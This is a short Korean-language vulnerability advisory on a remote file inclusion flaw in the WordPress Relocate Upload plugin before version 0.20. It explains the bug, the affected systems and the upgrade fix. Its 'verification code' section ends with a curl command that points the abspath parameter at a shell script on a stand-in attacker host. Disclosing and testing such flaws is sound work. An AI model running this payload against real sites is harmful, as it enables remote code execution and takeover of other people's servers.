🇰🇷 한글 설명
Relocate Upload 플러그인 0.20 이전 버전의 relocate-upload.php에서 abspath 매개변수를 통해 원격 파일을 포함할 수 있는 취약점이 존재합니다. 공격자는 이를 이용하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
WordPress의 Relocate Upload 플러그인에서 외부 파일을 불러올 때 검증이 부족해서 공격자가 악의적인 코드를 심을 수 있습니다. 이를 통해 웹사이트를 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in relocate-upload.php in Relocate Upload plugin before 0.20 for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.
📍 영향받는 시스템
Relocate Upload 플러그인 0.20 이전 버전이 설치된 WordPress
⚔️ 공격 벡터
abspath 매개변수에 외부 URL을 입력하여 원격 PHP 파일을 실행
🛡️ 대응 방법
Relocate Upload 플러그인을 0.20 이상으로 업그레이드하거나 플러그인을 제거
🔧 검증 코드
위 명령어에서 공격자의 PHP 파일이 실행되거나 파일 포함이 가능하면 취약한 상태입니다.
curl -s 'http://target/wp-content/plugins/relocate-upload/relocate-upload.php?abspath=http://attacker.com/shell.php' | head -20